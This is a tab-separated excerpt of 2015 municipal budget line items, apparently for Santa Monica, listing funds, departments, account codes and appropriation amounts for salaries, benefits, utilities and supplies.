16493	BA	IS	77	Parking Authority Fund	130	FINANCE	236	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2015	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
16494	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1842.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1842.0
16495	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2996.0
16496	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		VACATION LUMP SUM PAYS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16497	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522990.0	STOCKROOM REPAIR PARTS & MATER	808.0	 Supplies and Expenses	2015	620000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	620000.0
16498	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY YARD	808.0	 Supplies and Expenses	2015	63345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63345.0
16499	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY YAR	808.0	 Supplies and Expenses	2015	7797.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7797.0
16500	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	400000.0	REVENUE		REVENUE	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16501	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	24310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24310.0
16502	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16503	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
16504	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
16505	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579000.0	COUNCIL DISCRETIONARY FUNDS	804.0	 Supplies and Expenses	2015	373929.0	0	0	0	0	0	0.0	0	0	0	0	0.0	373929.0
16506	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		VACATION LUMP SUM PAYS	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16507	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		VACATION LUMP SUM PAYS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16508	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16509	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	2848.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2848.0
16510	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	12500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12500.0
16511	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16512	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544140.0	STREET MATERIAL	808.0	 Supplies and Expenses	2015	265950.0	0	0	0	0	0	0.0	0	0	0	0	0.0	265950.0
16513	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	6800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6800.0
16514	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2015	17310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17310.0
16515	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
16516	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	196052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	196052.0
16517	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		VACATION LUMP SUM PAYS		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16518	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY YARDS	808.0	 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
16519	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	3054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3054.0
16520	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	10500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10500.0
16521	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	1940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1940.0
16522	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544011.0	PALISADES PARK ID PROJECT	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16523	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544220.0	GRAFFITI PROGRAM MATERIALS	808.0	 Supplies and Expenses	2015	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
16524	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2015	4400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4400.0
16525	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522115.0	UTIL - LIGHT/POWER - PSF	808.0	 Supplies and Expenses	2015	435918.0	0	0	0	0	0	0.0	0	0	0	0	0.0	435918.0
16526	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	101994.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101994.0
16527	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533215.0	BLDG/CUSTODIAL SUPPLIES-PSF	808.0	 Supplies and Expenses	2015	55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55000.0
16528	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2015	30100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30100.0
16529	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-1730 4TH ST	808.0	 Supplies and Expenses	2015	32635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32635.0
16530	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	10500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10500.0
16531	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16532	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2015	8114.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8114.0
16533	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2015	69912.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69912.0
16534	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2015	41000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41000.0
16535	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	552548.0	0	0	0	0	0	0.0	0	0	0	0	0.0	552548.0
16536	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	8850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8850.0
16537	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-4883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4883.0
16538	BA	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570290.0	TRANSFER FROM CITY	908.0	 Supplies and Expenses	2015	-1200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1200000.0
16539	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	426332.0	0	0	0	0	0	0.0	0	0	0	0	0.0	426332.0
16540	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	6182.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6182.0
16541	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16542	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	36608.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36608.0
16543	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2015	105078.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105078.0
16544	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2015	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
16545	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16546	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16547	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
16548	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16549	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	413273.0	0	0	0	0	0	0.0	0	0	0	0	0.0	413273.0
16550	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	13162.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13162.0
16551	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-14130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14130.0
16552	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2015	1747.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1747.0
16553	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	4292.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4292.0
16554	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	588030.0	COMPUTER EQUIPMENT	816.0	 Supplies and Expenses	2015	4800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4800.0
16555	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566555.0	SANTA MONICA ART WALK	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16556	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562162.0	JEWISH VOCATIONAL SERVICE		 Supplies and Expenses	2015	52260.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52260.0
16557	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563128.0	PARATRANSIT PROGRAM-GENERAL FD		 Supplies and Expenses	2015	90914.0	0	0	0	0	0	0.0	0	0	0	0	0.0	90914.0
16558	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16559	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544470.0	GROUNDS MAINT EQ & SUPPLIES	808.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
16560	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16561	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511748.0	DENTAL		Salaries and Wages	2015	1668.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1668.0
16562	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DISABILITY INSURANCE		Salaries and Wages	2015	1534.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1534.0
16563	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2015	4599.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4599.0
16564	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	3100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3100.0
16565	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533219.0	BLDG OPER/SUPPLIES-COM FAC	808.0	 Supplies and Expenses	2015	117000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	117000.0
16566	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533225.0	BLDG/STR MAINT-PSF	808.0	 Supplies and Expenses	2015	210000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	210000.0
16567	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533228.0	BLDG/STR MAINT-KEN EDWARDS	808.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
16568	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555140.0	PEST CONTROL	808.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
16569	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16570	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16571	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16572	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16573	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16574	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2015	3390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3390.0
16575	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	1980.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1980.0
16576	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566330.0	STREET LIGHT MAINTENANCE	808.0	 Supplies and Expenses	2015	170000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	170000.0
16577	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2015	4880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4880.0
16578	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-3452.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3452.0
16579	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	20146.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20146.0
16580	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	35120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35120.0
16581	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2015	1029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1029.0
16582	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	3093.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3093.0
16583	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	40580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40580.0
16584	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	5240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5240.0
16585	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	2863.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2863.0
16586	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2015	2076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2076.0
16587	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2015	734.0	0	0	0	0	0	0.0	0	0	0	0	0.0	734.0
16588	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2015	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
16589	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	842.0	0	0	0	0	0	0.0	0	0	0	0	0.0	842.0
16590	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	153140.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153140.0
16591	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350.0
16592	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16593	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	5992.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5992.0
16594	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	7080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7080.0
16595	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2015	101675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101675.0
16596	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2015	2912.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2912.0
16597	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-23052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23052.0
16598	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-7945.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7945.0
16599	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65000.0
16600	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2015	63623.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63623.0
16601	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533216.0	BLDG/CUSTODIAL SUPPLIES - LIB	808.0	 Supplies and Expenses	2015	67000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	67000.0
16602	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG OPER/SUPPLIES-CITY HALL	808.0	 Supplies and Expenses	2015	45000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45000.0
16603	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566100.0	STREET LIGHT / POLE REPAIR	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16604	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	81119.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81119.0
16605	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-15332.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15332.0
16606	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	1249687.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1249687.0
16607	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2015	4557.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4557.0
16608	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
16609	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522550.0	AD POSTINGS (CCB)		 Supplies and Expenses	2015	36000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36000.0
16610	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408210.0	BIKE TECHNO DEMO-MTA	610.0	Intergovernmental	2015	-232400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-232400.0
16611	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2015	-84602.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-84602.0
16612	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563129.0	SENIOR CENTER OPERATIONS		 Supplies and Expenses	2015	166500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166500.0
16613	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	569340.0	EMERGENCY ACCOMODATIONS	816.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16614	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	69340.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69340.0
16615	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	7080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7080.0
16616	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-3814.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3814.0
16617	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	84884.0	0	0	0	0	0	0.0	0	0	0	0	0.0	84884.0
